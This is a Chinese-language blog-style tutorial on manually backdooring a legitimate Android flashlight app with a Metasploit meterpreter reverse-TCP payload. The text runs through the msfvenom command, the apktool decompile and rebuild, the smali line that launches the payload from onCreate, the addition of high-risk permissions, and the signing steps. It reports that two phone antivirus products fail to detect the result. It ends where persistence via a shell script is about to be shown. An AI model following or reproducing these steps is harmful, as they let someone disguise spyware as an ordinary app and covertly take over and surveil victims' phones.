前段時間看到鳶尾大神寫的文章《如何用kwetza給安卓應用加后門》。大神自己寫的自動化注入工具,看過程也并不困難,我就產生了自己手動注入的想法,折騰了一天終于搞定了。
當然已經有有好多的自動化注入工具可以使用了,我先總結一下:
1.backdoor-apk :https://github.com/dana-at-cp/backdoor-apk
2. spade: https://github.com/suraj-root/spade
3. apk-embed-payload.rb:https://gist.github.com/SkullTech/a62d106b55562cc1ab88
4:當然還有@鳶尾大神的kwetza。
歡迎補充哈!!!
好了,開始正文。
先捋一下思路,把PAYLOAD小馬注入到一個目標apk文件中,關鍵是要找到目標APK的入口,并把啟動payload小馬的代碼添加進去,隨目標APK一起啟動,從而實現監聽手機的目的。當然前提是apk文件可逆。
這里使用注入目標apk文件:(百度)手電筒—-小米應用市場下載的
順著思路,我們先用msf生成小馬。
step 1:
msfvenom -p android/meterpreter/reverse_tcp LHOST=本機IP LPORT=監聽端口號 -o 應用名.apk

我們可以看到,payload小馬只有8.8 KB (8,843 字節),非常小,可謂短小精悍。
step 2:
反編譯payload小馬houmen.apk和手電筒.apk
apktool d /root/houmen.apk
apktool d /root/手電筒-1.0.3_4.apk

我們得到了反編譯之后的文件。
step 3 :
開始尋找手電筒-1.0.3_4.apk文件的入口,在手電筒-1.0.3_4的Manifest.xml文件中查找Main和Launch關鍵詞,定位到所對應的啟動smail文件
搜索Main和Launch關鍵詞

好了,直接找到com/baidu/flashliaght/MainActivety.smail文件,終于到關鍵時候了,我們要在手電筒啟動的activety中添加啟動PAYLOAD小馬的代碼。
直接搜索onCreat函數,找到bundle對象,你并在下面添加啟動payload代碼:invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)Vv

點擊保存之后呢,我們還要把剛才反編譯的payload文件中的smail代碼復制過來,把payload的smail/com/metasploit文件復制到手電筒的smail/com/目錄下。
OK,現在基本已經大功告成了。直接保存退出就好。
接下來呢,我們還有一個問題,就是權限的問題,payload小馬作為監聽程序,肯定少不了有很多權限,而手電筒作為一個簡單的工具,權限肯定很少,因此要想使監聽功能更齊全,我們有必要補充一下權限。首先對比houmen.apk和手電筒.apk的權限清單,把手電筒沒有的權限從houmen.apk直接復制過來,當然了,注意不要復制重復了。

大家注意看我們所添加的權限,都是一些敏感的,容易泄露個人信息的高危權限。一會我們要測試。
現在保存退出,剩下的就是回編譯簽名了。
回編譯:apktool b /root/手電筒-1.0.3_4
生成KEYSTORE:keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA -keysize 1024 -validity 22222
簽名:jarsigner -keystore mykey.keystore Netflix.apk alias_name -sigalg MD5withRSA -digestalg SHA1
終于完工了,我們把生成的應用裝到手機,并打開msf控制臺,設置好監聽參數后,等待上線。

成功上線!!!!
完事之后呢,接上面的權限問題,既然我們添加了那么多高危權限,手機殺軟能查出來嗎? 我用我的手機進行了實測:


上面的360和騰訊手機管家實測掃描結果,竟然都沒有報毒,想想好可怕啊。
因此提醒大家,自己用的手機就別ROOT了,普通應用就不要給太多權限了,哎,還是老梗,說的再多,依然有人不聽欸。
寫到這呢,本來就完了,但是還有一個問題,就是payload小馬有個缺點,就是啟動后,我在xiaomi5實測,大概一分鐘就掉線,很讓人惱火啊,如果目標手機一直不再點擊這個應用,我們就干瞪眼了。并且這還是一個低頻的應用,好幾天也不知會不會用一回。
怎么解決呢,我找了好久,終于找到個方法,當然不是我原創啊,我們拿來用。就是用一個sh腳本,關聯小馬,讓其隔段時間啟動一回。腳本如下:

|